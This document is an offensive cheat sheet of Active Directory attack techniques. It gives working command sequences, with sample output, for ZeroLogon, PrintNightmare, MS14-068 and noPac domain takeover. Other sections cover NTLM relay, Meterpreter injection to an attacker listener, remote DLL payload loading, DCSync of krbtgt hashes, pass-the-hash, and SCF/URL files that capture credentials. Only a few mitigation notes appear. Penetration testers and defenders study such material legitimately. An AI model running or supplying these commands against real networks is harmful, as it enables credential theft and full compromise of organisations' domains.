Active Directory Attacks

Summary

Tools

- Impacket or the Windows version
- Responder
- InveighZero
- Mimikatz
- Ranger
- AdExplorer
- CrackMapExec

```
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget
https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-
ubuntu-latest.zip

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H
':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
```

```
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H
5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o
URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M
mimikatz
root@payload$ cme mimikatz --server http --server-port 80
```

- Mitm6

```
git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re
spoofing)
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
```

- ADRecon

```
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
```

- Active Directory Assessment and Privilege Escalation Script

```
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```

- Ping Castle

```
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> -
-password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners
are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nu
llsession,nullsession-
trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,c
omputers,users
```

- Kerbrute

```
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```

- Rubeus

```
Rubeus.exe asktgt /user:USER </password:PASSWORD
[/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH |
/aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN]
[/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
```

- AutomatedLab

```
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016
SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary
```

Active Directory Recon

Using BloodHound

Use the correct collector

- AzureHound for Azure Active Directory
- SharpHound for local Active Directory
- use AzureHound

```
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
```

- use BloodHound

```
# run the collector on the machine using SharpHound.exe
#
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --
```

```
JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword
<Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --
randomizefilenames --prettyjson --nosavecache --encryptzip --
collectallproperties --throttle 10000 --jitter 23
.\SharpHound.exe -c all,GPOLocalGroup --searchforest

# or run the collector on the machine using Powershell
#
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass
<Password> -OutputDirectory <PathToFile>

# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local
-c all
```

- Collect more data for certificates exploitation using Certipy

```
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
```

Then import the zip/json files into the Neo4J database and query them.

```
root@payload$ apt install bloodhound

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```

You can add some custom queries like :

- Bloodhound-Custom-Queries from @hausec
- BloodHoundQueries from CompassSecurity
- BloodHound Custom Queries from Exegol - @ShutdownRepo
- Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.

Using PowerView

- **Get Current Domain:** `Get-NetDomain`
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`

- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:**

```
Get-DomainPolicy

#Will show us the policy configurations of the Domain about system access or
kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
```

- **Get Domain Controlers:**

```
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
```

- **Enumerate Domain Users:**

```
Get-NetUser
Get-NetUser -SamAccountName <user>
Get-NetUser | select cn
Get-UserProperty

#Check last password change
Get-UserProperty -Properties pwdlastset

#Get a spesific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"

#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>

#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>

#Enumerate domain machines of the current/specified domain where specific users
are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName,
SessionFromName
```

- **Enum Domain Computers:**

```
Get-NetComputer -FullData
Get-DomainGroup

#Enumerate Live machines
Get-NetComputer -Ping
```

- **Enum Groups and Group Members:**

```
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>

#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member

#Returns all GPOs in a domain that modify local group memberships through
Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
```

- **Enumerate Shares**

```
#Enumerate Domain Shares
Find-DomainShare

#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```

- **Enum Group Policies:**

```
Get-NetGPO

# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup

#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
```

- **Enum OUs:**

```
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
```

- **Enum ACLs:**

```
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
```

- **Enum Domain Trust:**

```
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
```

- **Enum Forest Trust:**

```
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
```

- **User Hunting:**

```
#Finds all machines on the current domain where the current user has local admin
access
Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose

#Find computers were a Domain Admin OR a spesified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth

#Confirming admin access:
Invoke-UserHunter -CheckAccess
```

:heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:**
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
Profit!

PowerView 3.0 Tricks

Using AD Module

- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:**

```
```

```
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
```

- **Enumerate Domain Users:**

```
Get-ADUser -Filter * -Identity <user> -Properties *

#Get a spesific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description |
select Name, Description
```

- **Enum Domain Computers:**

```
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```

- **Enum Domain Trust:**

```
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
```

- **Enum Forest Trust:**

```
Get-ADForest
Get-ADForest -Identity <ForestName>

#Domains of Forest Enumeration
(Get-ADForest).Domains
```

- **Enum Local AppLocker Effective Policy:**

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

```
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
```

```
# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500
Guest          S-1-5-21-3415849876-833628785-5197346142-501
Administrator  S-1-5-21-297520375-2634728305-5197346142-500
Guest          S-1-5-21-297520375-2634728305-5197346142-501
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502
lambda         S-1-5-21-297520375-2634728305-5197346142-1110

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

```
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```

Generate a ticket with `metasploit` or `pykek`

```
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                               Required  Description
   ----      ---------------                               --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                               yes       The Domain
(upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                      yes       The Domain User
password
   RHOSTS    10.10.10.10                                   yes       The target
address range or CIDR identifier
   RPORT     88                                            yes       The target port
   Timeout   10                                            yes       The TCP timeout
to establish connection and read data
   USER      lambda                                        yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106 yes       The Domain User
SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```

```
# Alternative download: https://github.com/SecWiki/windows-kernel-
exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d
<domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-
21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-
2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -
p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
```

```
    [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
    [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```

Then use `mimikatz` to load the ticket.

```
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

:warning: If the clock is skewed use `clock-skew.nse` script from `nmap`

```
Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16"
Windows> net time /domain /set
```

Mitigations

- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

From CVE to SYSTEM shell on DC

> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

ZeroLogon

> CVE-2020-1472

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service

- `cve-2020-1472-exploit.py` - Python script from dirkjanm

  ```
    # Check (https://github.com/SecuraBV/CVE-2020-1472)
    proxychains python3 zerologon_tester.py DC01 172.16.1.5

  $ git clone https://github.com/dirkjanm/CVE-2020-1472.git

  # Activate a virtual env to install impacket
  $ python3 -m venv venv
  ```

```
$ source venv/bin/activate
$ pip3 install .

# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'

# Restore password from secretsdump
# secretsdump will automatically dump the plaintext machine password (hex encoded)
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
deactivate
```

- nccfsas - .NET binary for Cobalt Strike's execute-assembly

```
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch

# Now reset the password back
```

- Mimikatz - 2.2.0 20200917 Post-Zerologon

```
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```

* `CrackMapExec` - only check

```
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
```

PrintNightmare

> CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:

* **Spooler Service** enabled (Mandatory)
* Server with patches < June 2021
* DC with `Pre Windows 2000 Compatibility` group
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0

Detect the vulnerability:

* Impacket - rpcdump

```
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
```

* It Was All A Dream

```
git clone https://github.com/byt3bl33d3r/ItWasAllADream
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
```

Trigger the exploit:

NOTE: The payload can be hosted on Impacket SMB server since PR #1109: `python3 ./smbserver.py share /tmp/smb/` or using Invoke-BuildAnonymousSMBServer : `Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable`

* SharpNightmare

```
# require a modified Impacket: https://github.com/cube0x0/impacket
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10
'\\192.168.1.215\smb\addCube.dll'
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10
'C:\addCube.dll'
## LPE
SharpPrintNightmare.exe C:\addCube.dll
## RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'
'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e9
36\Amd64\UNIDRV.DLL' '\\192.168.1.20'
## RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'
'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc
96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
```

- Invoke-Nightmare

```
## LPE only (PS1 + DLL)
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by
default
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword
"AzkabanUnleashed123*"
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```

- Mimikatz v2.2.0-20210709+

```
## LPE
misc::printnightmare /server:DC01
/library:C:\Users\user1\Documents\mimispool.dll
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll
/authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
```

- PrintNightmare - @outflanknl

```
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional
domain] [optional username] [optional password]
```

Debug informations

Error	Message	Debug
0x5	`rpc_s_access_denied`	Permissions on the file in the SMB share
0x525	`ERROR_NO_SUCH_USER`	The specified account does not exist.
0x180	unknown error code	Share is not SMB2

samAccountName spoofing

> During S4U2Self, the KDC will try to append a '$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller.

Requirements

- MachineAccountQuota > 0

Check for exploitation

0. Check the MachineAccountQuota of the account

```
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --
kdcHost 10.10.10.10 -M MAQ
StandIn.exe --object ms-DS-MachineAccountQuota=*
```

1. Check if the DC is vulnerable

```
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
```

Exploitation

0. Create a computer account

```
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-
pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain
'domain.local/user1:complexpassword'

powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -
AsPlainText -Force
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -
Password $($password) -Domain "domain.local" -DomainController
"DomainController.domain.local" -Verbose

sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount
ControlledComputer -MachinePassword ComputerPassword
```

1. Clear the controlled machine account `servicePrincipalName` attribute

```
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t
'ControlledComputer$' -c DomainController
```

```
powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject
"CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear
'serviceprincipalname' -Verbose
```

2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`

```
# https://github.com/SecureAuthCorp/impacket/pull/1224
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name
'DomainController' -dc-ip 'DomainController.domain.local'
'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount
"ControlledComputer" -Value "DomainController" -Attribute samaccountname -
Verbose
```

3. Request a TGT for the controlled machine account

```
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local'
'domain.local'/'DomainController':'ComputerPassword'

cmd@windows> Rubeus.exe asktgt /user:"DomainController"
/password:"ComputerPassword" /domain:"domain.local"
/dc:"DomainController.domain.local" /nowrap
```

4. Reset the controlled machine account sAMAccountName to its old value

```
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name
'ControlledComputer$' 'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount
"ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -
Verbose
```

5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before

```
# https://github.com/SecureAuthCorp/impacket/pull/1202
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate
'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip
'DomainController.domain.local' 'domain.local'/'DomainController'

cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin"
/altservice:"ldap/DomainController.domain.local"
/dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
```

6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`

Automated exploitation:

- noPac - @cube0x0

```
noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc
dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc
dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt
/impersonate Administrator
```

- sam_the_admin - @WazeHell

```
$ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110
-shell
[*] Selected Target dc.caltech.white
[*] Total Domain Admins 11
[*] will try to impersonat gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
[*] Successfully added machine account SAMTHEADMIN-11$ with password
EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
[*] SAMTHEADMIN-11$ sAMAccountName == dc
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-11$
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating gaylene.dreddy
[*]     Requesting S4U2self
[*] Saving ticket in gaylene.dreddy.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```

- Pachine - @ly4k

```
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-
netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass
password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN
DC=test,DC=local]
              [-computer-group CN=Computers,DC=test,DC=local] [-hashes
LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
              [domain/]username[:password]
$ python3 pachine.py -dc-host dc.predator.local -scan
'predator.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -
impersonate administrator 'predator.local/john:Passw0rd!'
```

```
$ export KRB5CCNAME=$PWD/administrator@predator.local.ccache
$ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'
```

Mitigations:

- KB5007247 - Windows Server 2012 R2
- KB5008601 - Windows Server 2016
- KB5008602 - Windows Server 2019
- KB5007205 - Windows Server 2022
- KB5008102
- KB5008380

Open Shares

> Some shares can be accessible without authentication, explore them to find some juicy files

- smbmap

```
smbmap -H 10.10.10.10                # null session
smbmap -H 10.10.10.10 -R             # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
```

- pth-smbclient from path-toolkit

```
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"
//192.168.10.100/C$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file
```

- smbclient from Impacket

```
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files
```

- smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers

```
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share

# Download a folder recursively
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```

SCF and URL file attack against writeable share

Theses attacks can be automated with Farmer.exe and Crop.exe

```
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV
connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

SCF Files

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Using `crackmapexec`:

```
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK
SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK
SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK
SERVER=IP_RESPONDER CLEANUP
```

URL Files

This attack also works with `.url` files and `responder -I eth0 -v`.

```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```

Windows Library Files

Windows Library Files (.library-ms)

```
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

Windows Search Connectors Files

Windows Search Connectors (.searchConnector-ms)

```
